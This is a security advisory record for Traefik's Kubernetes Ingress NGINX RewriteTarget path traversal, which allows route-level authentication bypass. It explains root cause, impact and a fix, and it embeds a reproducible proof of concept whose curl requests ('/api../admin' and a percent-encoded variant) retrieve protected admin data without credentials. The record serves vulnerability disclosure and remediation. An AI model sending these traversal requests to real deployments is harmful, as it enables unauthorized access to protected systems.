{"id":"GHSA-8rxv-jg7p-wvg3","summary":"Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass","details":"## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. When an Ingress uses the `nginx.ingress.kubernetes.io/rewrite-target` annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path `/api(.*)` with rewrite target `/$1`), the generated `RewriteTarget` middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik's Kubernetes Ingress NGINX provider creates an internal `RewriteTarget` middleware for the `nginx.ingress.kubernetes.io/rewrite-target` annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router.\n\nFor example, with Ingress path `/api(.*)` and rewrite target `/$1`, an unauthenticated request to `/api../admin` follows this flow:\n\n1. The default entry-point path sanitizer leaves `/api../admin` unchanged because `api..` is one ordinary segment.\n2. The public router's `PathRegexp(\"(?i)^/api(.*)\")` rule matches.\n3. `RewriteTarget` captures `../admin` and creates `/../admin`.\n4. The middleware forwards `/../admin` without checking whether path normalization changes it.\n5. A backend that normalizes paths resolves `/../admin` to `/admin`.\n6. The request reaches content intended to be reachable only through a separate `/admin` router with BasicAuth, DigestAuth, or ForwardAuth.\n\nThis is an unpatched sibling of [GHSA-cxjq-mrr5-89rv](https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv), which added post-replacement normalization validation to `ReplacePathRegex`. The separate ingress-nginx `RewriteTarget` implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release.\n\n## Severity\n\n**Proposed severity:** Critical\n\n**CVSS 3.1:** 9.1 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n- Attack vector: Network\n- Attack complexity: Low once the affected routing pattern exists\n- Privileges required: None\n- User interaction: None\n- Scope: Unchanged\n- Confidentiality: High\n- Integrity: High\n- Availability: None\n\n**Primary weakness:** CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n**Secondary weakness:** CWE-288 — Authentication Bypass Using an Alternate Path or Channel\n\nThe practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower.\n\n### Exploitation Preconditions\n\n- The Kubernetes Ingress NGINX provider is enabled.\n- A public Ingress uses `rewrite-target` with a regex that can capture `..` adjacent to the matched prefix, such as `/api(.*)` with `/$1`.\n- A protected router exposes another path on the same backend, such as `/admin`, and relies on a Traefik authentication or authorization middleware.\n- The backend normalizes dot segments before dispatching the request.\n\nThese are deployment prerequisites; the remote attacker needs no credentials or special timing.\n\n## Affected Components\n\n### Confirmed versions\n\n- Traefik v3.7.0 through v3.7.7\n- Current `master` at commit `b93f02cd07b79490fb8c8f02e301a7a1ec553195`\n- Current `v3.7` branch at `69259c3acc9d4bdc065cb2e3b83336f7de3e7038`\n\nThe vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx `RewriteTarget` implementation.\n\n### Code locations\n\n- `pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274`\n  - Converts the Ingress path and `rewrite-target` annotation directly into `dynamic.RewriteTarget` configuration.\n- `pkg/middlewares/ingressnginx/rewritetarget/rewrite_target.go:85-157`\n  - Performs capture-based path rewriting and forwards the rewritten path without normalization validation.\n- `pkg/server/middleware/middlewares.go:346-353`\n  - Instantiates the vulnerable middleware in the live HTTP chain.\n\n## Root Cause\n\nThe provider passes the route regex and annotation replacement into the middleware:\n\n```go\nloc.RewriteTarget = &dynamic.RewriteTarget{\n    Regex:       loc.Path,\n    Replacement: rewrite,\n}\n```\n\n`RewriteTarget.ServeHTTP` then derives a path from attacker-controlled capture groups:\n\n```go\nnewTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)\n\nreq.URL.RawPath = newTarget\nreq.URL.Path, err = url.PathUnescape(req.URL.RawPath)\nreq.RequestURI = req.URL.RequestURI()\n\nrt.next.ServeHTTP(rw, req)\n```\n\nThere is no invariant check between `PathUnescape` and forwarding to ensure that `req.URL.Path` equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered.\n\nThe core `ReplacePathRegex` middleware now enforces this invariant by calling `req.URL.JoinPath()` and returning HTTP 400 when normalization changes the replacement. `RewriteTarget` implements equivalent capture-based behavior but lacks that check.\n\nDefault `entryPoints.\u003cname\u003e.http.sanitizePath=true` does not prevent this issue. Sanitization occurs before routing and before `RewriteTarget` creates the traversal sequence.\n\n## Impact\n\nAn unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow:\n\n- reading administrative or sensitive data;\n- invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE;\n- bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router;\n- crossing intended public/protected path boundaries with one HTTP request.\n\nThe middleware is method-agnostic, so the issue is not limited to read-only requests.\n\n## Proof of Concept\n\n### Validation Environment\n\n- Traefik v3.7.7 official Linux amd64 release\n- Release archive SHA-256 verified as `5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba`\n- Default `sanitizePath=true`\n- Node.js v24 backend\n- Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture\n\nNo Traefik source files were modified.\n\n### 1. Create the normalizing backend\n\nSave as `backend.js`:\n\n```javascript\nconst http = require(\"http\");\nconst path = require(\"path\");\n\nhttp.createServer((req, res) =\u003e {\n  const rawPath = req.url.split(\"?\", 1)[0];\n  const normalizedPath = path.posix.normalize(rawPath);\n  const protectedPath = normalizedPath === \"/admin\" || normalizedPath.startsWith(\"/admin/\");\n\n  const body = JSON.stringify({\n    rawPath,\n    normalizedPath,\n    result: protectedPath ? \"ADMIN_SECRET_DATA\" : \"PUBLIC\",\n  });\n\n  res.writeHead(200, { \"Content-Type\": \"application/json\" });\n  res.end(body);\n}).listen(19090, \"127.0.0.1\");\n```\n\nRun it:\n\n```bash\nnode backend.js\n```\n\n### 2. Apply the Kubernetes objects\n\nThe `ExternalName` service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n  name: basic-auth\n  namespace: default\ntype: Opaque\nstringData:\n  auth: |\n    admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: default\nspec:\n  type: ExternalName\n  externalName: localhost\n  ports:\n    - name: http\n      port: 19090\n      targetPort: 19090\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: public-api\n  namespace: default\n  annotations:\n    kubernetes.io/ingress.class: nginx\n    nginx.ingress.kubernetes.io/use-regex: \"true\"\n    nginx.ingress.kubernetes.io/rewrite-target: \"/$1\"\nspec:\n  rules:\n    - http:\n        paths:\n          - path: /api(.*)\n            pathType: ImplementationSpecific\n            backend:\n              service:\n                name: backend\n                port:\n                  number: 19090\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: protected-admin\n  namespace: default\n  annotations:\n    kubernetes.io/ingress.class: nginx\n    nginx.ingress.kubernetes.io/auth-type: basic\n    nginx.ingress.kubernetes.io/auth-secret: basic-auth\n    nginx.ingress.kubernetes.io/auth-realm: Authentication Required\nspec:\n  rules:\n    - http:\n        paths:\n          - path: /admin\n            pathType: Prefix\n            backend:\n              service:\n                name: backend\n                port:\n                  number: 19090\n```\n\n```bash\nkubectl apply -f poc.yaml\n```\n\n### 3. Run unmodified Traefik v3.7.7\n\n```bash\nKUBECONFIG=\"$HOME/.kube/config\" ./traefik \\\n  --entryPoints.web.address=127.0.0.1:18080 \\\n  --providers.kubernetesIngressNginx.watchNamespace=default \\\n  --providers.kubernetesIngressNginx.httpEntryPoint=web \\\n  --global.checkNewVersion=false \\\n  --log.level=DEBUG\n```\n\nTraefik generates the following relevant dynamic configuration:\n\n```json\n{\n  \"rule\": \"PathRegexp(\\\"(?i)^/api(.*)\\\")\",\n  \"middlewares\": [\"...-rewrite-target\"],\n  \"rewriteTarget\": {\n    \"regex\": \"/api(.*)\",\n    \"replacement\": \"/$1\"\n  }\n}\n```\n\nThe protected router separately contains a BasicAuth middleware and a `PathRegexp(\"(?i)^/admin\")` rule.\n\n### 4. Confirm authentication is enforced\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 401 Unauthorized\n```\n\n### 5. Exploit the traversal rewrite\n\nPlain variant:\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/api../admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 200 OK\n{\"rawPath\":\"/../admin\",\"normalizedPath\":\"/admin\",\"result\":\"ADMIN_SECRET_DATA\"}\n```\n\nPercent-encoded variant:\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 200 OK\n{\"rawPath\":\"/../admin\",\"normalizedPath\":\"/admin\",\"result\":\"ADMIN_SECRET_DATA\"}\n```\n\nThe direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.\n\n## Remediation\n\nApply the same post-rewrite normalization invariant used by the patched `ReplacePathRegex` middleware. After decoding `RawPath`, normalize a copy and reject the request if normalization changes `Path`:\n\n```go\npath := req.URL.Path\nif path != \"\" {\n    req.URL = req.URL.JoinPath()\n}\n\nif path != req.URL.Path {\n    logger.Debug().Msgf(\n        \"Rejecting request, normalized path %q differs from rewritten path %q\",\n        req.URL.Path,\n        path,\n    )\n    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n\nreq.RequestURI = req.URL.RequestURI()\n```\n\nRecommended additional actions:\n\n1. Centralize the post-transformation path validation used by `ReplacePathRegex`, `StripPrefix`, `StripPrefixRegex`, and ingress-nginx `RewriteTarget` to prevent future drift.\n2. Add regression tests for `/api../admin` and `/api%2e%2e/admin`, expecting HTTP 400.\n3. Test both `URL.Path` and `URL.RawPath` cases and preserve legitimate encoded-path behavior.\n4. Audit the ingress-nginx snippet `rewrite` implementation for the same post-rewrite invariant.\n\n### Temporary Mitigation\n\nUse a regex that requires a separator or end-of-path before captured user data, for example:\n\n```yaml\nnginx.ingress.kubernetes.io/use-regex: \"true\"\nnginx.ingress.kubernetes.io/rewrite-target: \"/$2\"\n\n# Ingress path:\npath: /api(/|$)(.*)\n```\n\nThis prevents `/api../admin` from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point `sanitizePath=true` alone is not a mitigation because the dangerous dot segment is created after sanitization.\n\n## Duplicate Check\n\nAs of 2026-07-09:\n\n- Traefik's public security advisories contain no entry mentioning `RewriteTarget` or ingress-nginx `rewrite-target` path traversal.\n- Public issue and pull-request searches found no report for this path-normalization bypass.\n- GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes `pkg/middlewares/replacepathregex`, while this report affects `pkg/middlewares/ingressnginx/rewritetarget` and reproduces on the version that contains that fix, v3.7.7.\n\n## Disclosure\n\nIf confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.\n\n\u003c/details\u003e\n\n---","aliases":["CVE-2026-67309","GO-2026-6207"],"modified":"2026-08-18T15:11:26.714103370Z","published":"2026-08-06T16:45:28Z","database_specific":{"github_reviewed_at":"2026-08-06T16:45:28Z","nvd_published_at":null,"cwe_ids":["CWE-22","CWE-288"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/traefik/traefik/security/advisories/GHSA-8rxv-jg7p-wvg3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67309"},{"type":"WEB","url":"https://github.com/traefik/traefik/commit/759515bec1b9f628b21ea8968ef63da853be5e29"},{"type":"PACKAGE","url":"https://github.com/traefik/traefik"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/traefik-path-traversal-via-rewritetarget-authentication-bypass"}],"affected":[{"package":{"name":"github.com/traefik/traefik/v3","ecosystem":"Go","purl":"pkg:golang/github.com/traefik/traefik/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.7.0"},{"fixed":"3.7.8"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.7.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-8rxv-jg7p-wvg3/GHSA-8rxv-jg7p-wvg3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"}]}